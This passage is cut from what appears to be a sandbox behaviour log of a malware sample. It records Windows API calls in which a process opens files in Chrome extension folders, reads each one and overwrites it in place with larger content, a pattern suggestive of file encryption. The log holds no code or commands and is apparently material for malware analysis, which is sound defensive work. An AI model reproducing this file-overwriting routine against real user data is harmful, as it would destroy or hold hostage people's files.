lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.765] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.765] ReleaseMutex (hMutex=0x128) returned 1 [0057.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="craw_window.css", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0057.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="craw_window.css", cchWideChar=15, lpMultiByteStr=0x1e6316c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="craw_window.css", lpUsedDefaultChar=0x0) returned 15 [0057.765] ReadFile (in: hFile=0x12c, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6cd, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x32cf2bc*=0x6cd, lpOverlapped=0x0) returned 1 [0057.767] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.767] WriteFile (in: hFile=0x12c, lpBuffer=0x1df2e48*, nNumberOfBytesToWrite=0xc55, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df2e48*, lpNumberOfBytesWritten=0x32cf2d0*=0xc55, lpOverlapped=0x0) returned 1 [0057.767] CloseHandle (hObject=0x12c) returned 1 [0057.767] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.768] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.768] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x52a [0057.768] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.768] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.768] ReleaseMutex (hMutex=0x128) returned 1 [0057.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="manifest.json", lpUsedDefaultChar=0x0) returned 13 [0057.768] ReadFile (in: hFile=0x12c, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x32cf2bc*=0x52a, lpOverlapped=0x0) returned 1 [0057.770] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.770] WriteFile (in: hFile=0x12c, lpBuffer=0x280f3b8*, nNumberOfBytesToWrite=0xab2, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x280f3b8*, lpNumberOfBytesWritten=0x32cf2d0*=0xab2, lpOverlapped=0x0) returned 1 [0057.770] CloseHandle (hObject=0x12c) returned 1 [0057.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.770] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.771] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x29b [0057.771] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.771] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.771] ReleaseMutex (hMutex=0x128) returned 1 [0057.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.771] ReadFile (in: hFile=0x12c, lpBuffer=0x2739318, nNumberOfBytesToRead=0x29b, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739318*, lpNumberOfBytesRead=0x32cf2bc*=0x29b, lpOverlapped=0x0) returned 1 [0057.772] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.772] WriteFile (in: hFile=0x12c, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x823, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x32cf2d0*=0x823, lpOverlapped=0x0) returned 1 [0057.773] CloseHandle (hObject=0x12c) returned 1 [0057.773] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.773] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.773] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x30a [0057.773] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.773] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.773] ReleaseMutex (hMutex=0x128) returned 1 [0057.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.774] ReadFile (in: hFile=0x12c, lpBuffer=0x275b028, nNumberOfBytesToRead=0x30a, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x32cf2bc*=0x30a, lpOverlapped=0x0) returned 1 [0057.776] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.776] WriteFile (in: hFile=0x12c, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x892, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x32cf2d0*=0x892, lpOverlapped=0x0) returned 1 [0057.776] CloseHandle (hObject=0x12c) returned 1 [0057.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.777] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.777] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x30f [0057.777] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.777] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.777] ReleaseMutex (hMutex=0x128) returned 1 [0057.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.777] ReadFile (in: hFile=0x12c, lpBuffer=0x275b028, nNumberOfBytesToRead=0x30f, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x32cf2bc*=0x30f, lpOverlapped=0x0) returned 1 [0057.779] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.779] WriteFile (in: hFile=0x12c, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x897, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x32cf2d0*=0x897, lpOverlapped=0x0) returned 1 [0057.779] CloseHandle (hObject=0x12c) returned 1 [0057.779] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.780] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.780] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x280 [0057.780] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.780] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.780] ReleaseMutex (hMutex=0x128) returned 1 [0057.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.780] ReadFile (in: hFile=0x12c, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x32cf2bc*=0x280, lpOverlapped=0x0) returned 1 [0057.781] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.781] WriteFile (in: hFile=0x12c, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x808, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x32cf2d0*=0x808, lpOverlapped=0x0) returned 1 [0057.782] CloseHandle (hObject=0x12c) returned 1 [0057.782] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.782] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.782] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x14c [0057.782] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.782] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.783] ReleaseMutex (hMutex=0x128) returned 1 [0057.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.783] ReadFile (in: hFile=0x12c, lpBuffer=0x253cef8, nNumberOfBytesToRead=0x14c, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x253cef8*, lpNumberOfBytesRead=0x32cf2bc*=0x14c, lpOverlapped=0x0) returned 1 [0057.784] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.784] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6d4, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x6d4, lpOverlapped=0x0) returned 1 [0057.784] CloseHandle (hObject=0x12c) returned 1 [0057.784] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.785] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.785] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x100 [0057.785] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.785] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.785] ReleaseMutex (hMutex=0x128) returned 1 [0057.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.785] ReadFile (in: hFile=0x12c, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x32cf2bc*=0x100, lpOverlapped=0x0) returned 1 [0057.786] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.786] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x688, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x688, lpOverlapped=0x0) returned 1 [0057.786] CloseHandle (hObject=0x12c) returned 1 [0057.787] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.787] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.787] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x109 [0057.787] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.787] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.787] ReleaseMutex (hMutex=0x128) returned 1 [0057.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.787] ReadFile (in: hFile=0x12c, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x109, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x32cf2bc*=0x109, lpOverlapped=0x0) returned 1 [0057.788] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.788] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x691, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x691, lpOverlapped=0x0) returned 1 [0057.788] CloseHandle (hObject=0x12c) returned 1 [0057.789] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.789] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.789] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x102 [0057.789] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.789] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.789] ReleaseMutex (hMutex=0x128) returned 1 [0057.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.789] ReadFile (in: hFile=0x12c, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x102, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x32cf2bc*=0x102, lpOverlapped=0x0) returned 1 [0057.790] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.790] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x68a, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x68a, lpOverlapped=0x0) returned 1 [0057.791] CloseHandle (hObject=0x12c) returned 1 [0057.791] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.791] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.791] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x221da [0057.791] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, 